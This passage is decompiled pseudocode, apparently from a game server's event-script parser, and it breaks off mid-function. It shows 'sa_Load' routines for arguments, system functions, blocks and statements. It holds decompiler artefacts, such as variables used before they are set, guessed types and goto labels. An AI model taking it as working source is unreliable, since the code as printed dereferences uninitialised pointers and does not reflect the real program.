PineEventScriptNode::ArgumentList::sa_Load(PineEventScriptNode::ArgumentList *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::ArgumentList *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 int v7; // edi@8 PineScriptToken *v8; // esi@8 signed int v9; // ecx@8 bool v10; // zf@8 void *v11; // eax@12 void *v12; // esi@13 void *v13; // edi@18 unsigned __int16 result; // ax@19 bool v15; // zf@21 int v16; // edi@21 PineScriptToken *v17; // esi@21 signed int v18; // ecx@21 int v19; // [sp+10h] [bp-10Ch]@6 unsigned int i; // [sp+14h] [bp-108h]@6 PineScriptToken tkn; // [sp+18h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_30; v3 = (int)"("; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { i = 0; v19 = (int)v2->al_Express; do { if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_18; v7 = (int)")"; v8 = &tkn; v9 = 2; v10 = 1; do { if ( !v9 ) break; v10 = v8->pst_Buffer[0] == *(_BYTE *)v7; v8 = (PineScriptToken *)((char *)v8 + 1); ++v7; --v9; } while ( v10 ); if ( v10 ) return 1; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v11 = operator new(0x11Cu); if ( v11 ) { *(_DWORD *)v11 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v11 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v11 + 3) = 0; *((_DWORD *)v11 + 2) = 0; *((_DWORD *)v11 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v11 + 20) = 0; *((_DWORD *)v11 + 69) = 0; *((_DWORD *)v11 + 70) = 0; v12 = v11; } else { v12 = 0; } if ( !(unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v12)(v12, tr) ) { *(_DWORD *)v12 = &PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v12); goto LABEL_27; } *(_DWORD *)v19 = v12; ++i; v19 += 4; } while ( i < 0xA ); if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { LABEL_18: v13 = &tr->tr_UngetToken; goto LABEL_26; } v15 = 1; v16 = (int)")"; v17 = &tkn; v18 = 2; do { if ( !v18 ) break; v15 = v17->pst_Buffer[0] == *(_BYTE *)v16; v17 = (PineScriptToken *)((char *)v17 + 1); ++v16; --v18; } while ( v15 ); result = v15; } else { LABEL_30: v13 = &tr->tr_UngetToken; LABEL_26: memcpy(v13, &tkn, 0x100u); LABEL_27: result = 0; } return result; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (0049D2E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::SystemFunction::sa_Load(PineEventScriptNode::SystemFunction *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::SystemFunction *v2; // ebx@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 PineScriptToken _; // [sp+10h] [bp-308h]@9 PineScriptToken tkn; // [sp+110h] [bp-208h]@1 PineScriptToken funcname; // [sp+210h] [bp-108h]@7 v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v3 = (int)"@"; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); return 0; } funcname.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &funcname) ) { if ( (unsigned __int16)v2->sfm_ArgumentList.baseclass_0.vfptr->sa_Load(&v2->sfm_ArgumentList, tr) ) { memcpy(&_, &funcname, sizeof(_)); if ( PineScriptToken::operator__(&_, "SquarRoot") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncsqrt; return 1; } if ( PineScriptToken::operator__(&_, "Distance") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncdistance; return 1; } if ( PineScriptToken::operator__(&_, "Random") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncrand; return 1; } if ( PineScriptToken::operator__(&_, "mobregen") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinemobregen; return 1; } if ( PineScriptToken::operator__(&_, "doorbuild") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinedoorbuild; return 1; } if ( PineScriptToken::operator__(&_, "npcstand") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinenpcstand; return 1; } if ( PineScriptToken::operator__(&_, "change2mob") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinechange2mob; return 1; } if ( PineScriptToken::operator__(&_, "change2door") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinechange2door; return 1; } if ( PineScriptToken::operator__(&_, "change2npc") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinechange2npc; return 1; } if ( PineScriptToken::operator__(&_, "Count") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecount; return 1; } if ( PineScriptToken::operator__(&_, "RestSec") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinerestsec; return 1; } if ( PineScriptToken::operator__(&_, "CharClass") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecharclass; return 1; } if ( PineScriptToken::operator__(&_, "CharName") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecharname; return 1; } if ( PineScriptToken::operator__(&_, "DeathNum") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinedeadnum; return 1; } if ( PineScriptToken::operator__(&_, "CircularScatter") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecircularlocate; return 1; } if ( PineScriptToken::operator__(&_, "RemoveFirst") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshineremovefisrt; return 1; } if ( PineScriptToken::operator__(&_, "GetObjectList") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinegetobjectlist; return 1; } if ( PineScriptToken::operator__(&_, "KQResultList") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinekqresultlist; return 1; } if ( PineScriptToken::operator__(&_, "KQTopList") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinekqtoplist; return 1; } if ( PineScriptToken::operator__(&_, "DistanceBetween") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinedistance; return 1; } if ( PineScriptToken::operator__(&_, "PlayerInArea") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshineplayerinarea; return 1; } if ( PineScriptToken::operator__(&_, "Range") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinerange; return 1; } if ( PineScriptToken::operator__(&_, "IsGateUse") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshineisgateuse; return 1; } if ( PineScriptToken::operator__(&_, "GetWinnerGuild") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinegetwinnerguild; return 1; } if ( PineScriptToken::operator__(&_, "GetLoseGuild") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinegetloseGuild; return 1; } AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SystemFunction::sa_Load : undefined function", funcname.pst_Buffer); } } } return 0; } //----- (0049D8D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Term::sa_Load(PineEventScriptNode::Term *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Term *v2; // ebp@1 unsigned __int16 result; // ax@2 int v4; // edi@3 PineScriptToken *v5; // esi@3 signed int v6; // ecx@3 bool v7; // zf@3 void *v8; // eax@7 void *v9; // eax@10 PineEventScriptNode::ScriptAtom *v10; // eax@14 void *v11; // ST00_4@15 void *v12; // eax@16 PineEventScriptNode::ScriptAtom *v13; // eax@20 void *v14; // ST00_4@21 void *v15; // eax@22 PineEventScriptNode::ScriptAtom *v16; // eax@26 void *v17; // ST00_4@27 void *v18; // eax@28 PineEventScriptNode::ScriptAtom *v19; // eax@29 PineEventScriptNode::ScriptAtom *v20; // eax@32 void *v21; // ST00_4@33 void *v22; // eax@36 PineEventScriptNode::ScriptAtom *v23; // eax@37 PineEventScriptNode::ScriptAtom *v24; // eax@43 void *v25; // ST00_4@44 PineScriptToken tkn; // [sp+14h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) return 0; v4 = (int)"#"; v5 = &tkn; v6 = 2; v7 = 1; do { if ( !v6 ) break; v7 = v5->pst_Buffer[0] == *(_BYTE *)v4; v5 = (PineScriptToken *)((char *)v5 + 1); ++v4; --v6; } while ( v7 ); if ( !v7 ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v9 = operator new(0xCu); if ( v9 ) { *(_DWORD *)v9 = &PineEventScriptNode::Identify::_vftable_; *((_DWORD *)v9 + 1) = 0; *((_DWORD *)v9 + 2) = 0; } else { v9 = 0; } v2->t_Atom = (PineEventScriptNode::ScriptAtom *)v9; if ( (unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v9)(v9, tr) ) return 1; v10 = v2->t_Atom; if ( v10 ) { v11 = v2->t_Atom; v10->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v11); } v12 = operator new(0x104u); if ( v12 ) { *(_DWORD *)v12 = &PineEventScriptNode::Number::_vftable_; *((_BYTE *)v12 + 4) = 0; } else { v12 = 0; } v2->t_Atom = (PineEventScriptNode::ScriptAtom *)v12; if ( (unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v12)(v12, tr) ) return 1; v13 = v2->t_Atom; if ( v13 ) { v14 = v2->t_Atom; v13->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v14); } v15 = operator new(0x104u); if ( v15 ) { *(_DWORD *)v15 = &PineEventScriptNode::String::_vftable_; *((_BYTE *)v15 + 4) = 0; } else { v15 = 0; } v2->t_Atom = (PineEventScriptNode::ScriptAtom *)v15; if ( (unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v15)(v15, tr) ) return 1; v16 = v2->t_Atom; if ( v16 ) { v17 = v2->t_Atom; v16->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v17); } v18 = operator new(0x34u); if ( v18 ) PineEventScriptNode::SystemFunction::SystemFunction((PineEventScriptNode::SystemFunction *)v18); else v19 = 0; v2->t_Atom = v19; if ( v19->vfptr->sa_Load(v19, tr) ) return 1; v20 = v2->t_Atom; if ( v20 ) { v21 = v2->t_Atom; v20->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v21); } if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, "(") ) { v22 = operator new(0x11Cu); if ( v22 ) PineEventScriptNode::Express::Express((PineEventScriptNode::Express *)v22); else v23 = 0; v2->t_Atom = v23; if ( v23->vfptr->sa_Load(v23, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ")") ) return 1; v24 = v2->t_Atom; if ( v24 ) { v25 = v2->t_Atom; v24->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v25); } v2->t_Atom = 0; } return 0; } v8 = operator new(0xCu); if ( v8 ) { *(_DWORD *)v8 = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v8 + 2) = 0; *((_DWORD *)v8 + 1) = 0; v2->t_Term = (PineEventScriptNode::Term *)v8; result = (**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v8)(v8, tr); } else { v2->t_Term = 0; result = (*(int (__thiscall **)(_DWORD, PineScriptReader::TokenReader *))v0)(0, tr); } return result; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5B0FB4: using guessed type int (__stdcall *PineEventScriptNode__String___vftable_)(int tr); // 5B0FC4: using guessed type int (__stdcall *PineEventScriptNode__Number___vftable_)(int tr); // 5B0FE4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); //----- (0049DB60) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::BlockName::sa_Load(PineEventScriptNode::BlockName *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::BlockName *v2; // ebp@1 MobTacticElement::MobActionArgument *v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_15; v3 = &argument; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == LOBYTE(v3->maa_MobHandle); v4 = (PineScriptToken *)((char *)v4 + 1); v3 = (MobTacticElement::MobActionArgument *)((char *)v3 + 1); --v5; } while ( v6 ); if ( v6 ) { if ( !(unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Id *, _DWORD, PineScriptReader::TokenReader *))v2->bn_Name.baseclass_0.vfptr->sa_Load)( &v2->bn_Name, 0, tr) ) return 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) || PineScriptToken::operator__(&tkn, (char *)&stru_59CBB8) ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); return 0; } } else { LABEL_15: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 1; } //----- (0049DC20) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Load(PineEventScriptNode::Block *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Block *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 int v7; // edi@8 char *v8; // esi@8 signed int v9; // ecx@8 bool v10; // zf@8 List *v11; // ecx@12 int v12; // eax@12 int v13; // eax@13 List *v14; // ecx@14 int v15; // eax@14 PineScriptToken v17; // [sp+10h] [bp-204h]@7 PineScriptToken tkn; // [sp+110h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_23; v3 = (int)"open"; v4 = &tkn; v5 = 5; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { ((void (__fastcall *)(PineEventScriptNode::BlockName *, _DWORD, PineScriptReader::TokenReader *))v2->b_BlockName.baseclass_0.vfptr->sa_Load)( &v2->b_BlockName, 0, tr); while ( 1 ) { v17.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &v17) ) break; v7 = (int)"close"; v8 = (char *)&v17; v9 = 6; v10 = 1; do { if ( !v9 ) break; v10 = *v8++ == *(_BYTE *)v7++; --v9; } while ( v10 ); if ( v10 ) return 1; memcpy(&tr->tr_UngetToken, &v17, sizeof(tr->tr_UngetToken)); v11 = v2->b_StatementList; v12 = v11->l_Finger.empty; if ( ((_WORD)v12 == -1 || (v13 = ((int (__stdcall *)(int))v11->vfptr->l_AllocZ)(v12)) == 0) && ((List::l_Enlargement(v2->b_StatementList, 8), v14 = v2->b_StatementList, v15 = v14->l_Finger.empty, (_WORD)v15 == -1) || (v13 = ((int (__stdcall *)(int))v14->vfptr->l_AllocZ)(v15)) == 0) || !(unsigned __int16)(**(int (__thiscall ***)(int, PineScriptReader::TokenReader *))v13)(v13, tr) ) return 0; } } else { LABEL_23: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 0; } //----- (0049DD50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Load(PineEventScriptNode::StateVarDeclear *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateVarDeclear *v2; // ebp@1 char v3[4]; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 int v7; // edi@8 PineScriptToken *v8; // esi@8 signed int v9; // ecx@8 bool v10; // zf@8 int v11; // eax@14 int v12; // edi@16 PineScriptToken *v13; // esi@16 signed int v14; // ecx@16 bool v15; // zf@16 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_26; *(_DWORD *)v3 = "var"; v4 = &tkn; v5 = 4; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == **(_BYTE **)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++*(_DWORD *)v3; --v5; } while ( v6 ); if ( v6 ) { v2->svd_VarNum = 0; while ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v7 = (int)"."; v8 = &tkn; v9 = 2; v10 = 1; do { if ( !v9 ) break; v10 = v8->pst_Buffer[0] == *(_BYTE *)v7; v8 = (PineScriptToken *)((char *)v8 + 1); ++v7; --v9; } while ( v10 ); if ( v10 ) return 1; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); if ( !(unsigned __int16)v2->svd_VarName[v2->svd_VarNum].baseclass_0.vfptr->sa_Load( &v2->svd_VarName[v2->svd_VarNum], tr) ) return 0; if ( !(unsigned __int16)v2->svd_Express[v2->svd_VarNum].baseclass_0.vfptr->sa_Load( &v2->svd_Express[v2->svd_VarNum], tr) ) { AssertClass::ac_AssertFail(&shineassert, "Var : Not init", 1); return 0; } v11 = v2->svd_VarNum + 1; v2->svd_VarNum = v11; if ( (unsigned int)v11 >= 0x40 ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v12 = (int)"."; v13 = &tkn; v14 = 2; v15 = 1; do { if ( !v14 ) break; v15 = v13->pst_Buffer[0] == *(_BYTE *)v12; v13 = (PineScriptToken *)((char *)v13 + 1); ++v12; --v14; } while ( v15 ); if ( v15 ) return 1; } return 0; } } } else { LABEL_26: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 0; } //----- (0049DEA0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Load(PineEventScriptNode::StateInfinite *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateInfinite *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 unsigned __int16 result; // ax@6 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_10; v3 = (int)"infinite"; v4 = &tkn; v5 = 9; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { result = ((int (__fastcall *)(PineEventScriptNode::Block *, _DWORD, PineScriptReader::TokenReader *))v2->si_Block.baseclass_0.baseclass_0.vfptr->sa_Load)( &v2->si_Block, 0, tr); } else { LABEL_10: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); result = 0; } return result; } //----- (0049DF20) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Load(PineEventScriptNode::StateWhile *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateWhile *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 unsigned __int16 result; // ax@8 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_13; v3 = (int)"while"; v4 = &tkn; v5 = 6; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { result = (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Condition *, _DWORD, PineScriptReader::TokenReader *))v2->sw_Condition.baseclass_0.vfptr->sa_Load)( &v2->sw_Condition, 0, tr) && (unsigned __int16)v2->sw_Block.baseclass_0.baseclass_0.vfptr->sa_Load(&v2->sw_Block, tr); } else { LABEL_13: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); result = 0; } return result; } //----- (0049DFC0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Load(PineEventScriptNode::StateBreak *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateBreak *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 void *v7; // eax@8 PineEventScriptNode::Express *v8; // eax@9 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_19; v3 = (int)"break"; v4 = &tkn; v5 = 6; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, ".") || ((memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)), (v7 = operator new(0x11Cu)) == 0) ? (v8 = 0) : PineEventScriptNode::Express::Express((PineEventScriptNode::Express *)v7), (v2->b_Break = v8, v8->baseclass_0.vfptr->sa_Load((PineEventScriptNode::ScriptAtom *)v8, tr)) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".")) ) return 1; } } else { LABEL_19: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 0; } //----- (0049E0D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Load(PineEventScriptNode::StateCall *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateCall *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 void *v8; // eax@10 PineEventScriptNode::Express *v9; // eax@11 void *v10; // edi@15 PineEventScriptNode::StateCall *v11; // [sp+10h] [bp-108h]@1 PineScriptToken tkn; // [sp+14h] [bp-104h]@1 v2 = this; v11 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_17; v3 = (int)"call"; v4 = &tkn; v5 = 5; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) goto LABEL_17; if ( (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Express *, _DWORD, PineScriptReader::TokenReader *))v2->sc_CallBlock.baseclass_0.vfptr->sa_Load)( &v2->sc_CallBlock, 0, tr) ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, ".") ) return 1; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v8 = operator new(0x11Cu); if ( v8 ) PineEventScriptNode::Express::Express((PineEventScriptNode::Express *)v8); else v9 = 0; v11->sc_DefaultBlock = v9; if ( !v9->baseclass_0.vfptr->sa_Load((PineEventScriptNode::ScriptAtom *)v9, tr) ) return 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) return PineScriptToken::operator__(&tkn, ".") != 0; v10 = &tr->tr_UngetToken; goto LABEL_18; } LABEL_17: v10 = &tr->tr_UngetToken; LABEL_18: memcpy(v10, &tkn, 0x100u); } return 0; } //----- (0049E200) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Load(PineEventScriptNode::StatePermillage *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StatePermillage *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_10; v3 = (int)"permillage"; v4 = &tkn; v5 = 11; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) { LABEL_10: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); return 0; } if ( (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Identify *, _DWORD, PineScriptReader::TokenReader *))v2->sp_Var.baseclass_0.vfptr->sa_Load)( &v2->sp_Var, 0, tr) ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".") ) return 1; goto LABEL_10; } return 0; } //----- (0049E2B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatementBaseExpress::sa_Load(PineEventScriptNode::StatementBaseExpress *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StatementBaseExpress *v2; // edi@1 int v3; // esi@2 PineScriptToken *v4; // eax@2 bool v5; // cf@3 char v6; // dl@5 unsigned __int8 v7; // bl@5 __int16 v8; // ax@7 PineScriptToken tkn; // [sp+Ch] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_18; v3 = (int)v2->sbe_Command; v4 = &tkn; while ( 1 ) { v5 = (unsigned __int8)v4->pst_Buffer[0] < *(_BYTE *)v3; if ( v4->pst_Buffer[0] != *(_BYTE *)v3 ) break; if ( !v4->pst_Buffer[0] ) goto LABEL_7; v6 = v4->pst_Buffer[1]; v7 = *(_BYTE *)(v3 + 1); v5 = v6 < v7; if ( v6 != v7 ) break; v4 = (PineScriptToken *)((char *)v4 + 2); v3 += 2; if ( !v6 ) { LABEL_7: v8 = 0; goto LABEL_9; } } v8 = -v5 - (v5 - 1); LABEL_9: if ( v8 ) { LABEL_18: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } else { if ( (unsigned __int16)v2->sbe_Express.baseclass_0.vfptr->sa_Load(&v2->sbe_Express, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".") ) return 1; } return 0; } //----- (0049E3A0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Load(PineEventScriptNode::StateAssignment *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateAssignment *v2; // ebx@1 int v3; // edi@3 PineScriptToken *v4; // esi@3 signed int v5; // ecx@3 bool v6; // zf@3 unsigned __int16 result; // ax@10 PineScriptToken tkn; // [sp+8h] [bp-104h]@2 v2 = this; if ( !(unsigned __int16)((int (__stdcall *)(PineScriptReader::TokenReader *))this->sa_LeftValue.baseclass_0.vfptr->sa_Load)(tr) || (tkn.pst_Buffer[0] = 0, !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn)) ) goto LABEL_14; v3 = (int)"="; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 && (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Express *, _DWORD, PineScriptReader::TokenReader *))v2->sa_Express.baseclass_0.vfptr->sa_Load)( &v2->sa_Express, 0, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && 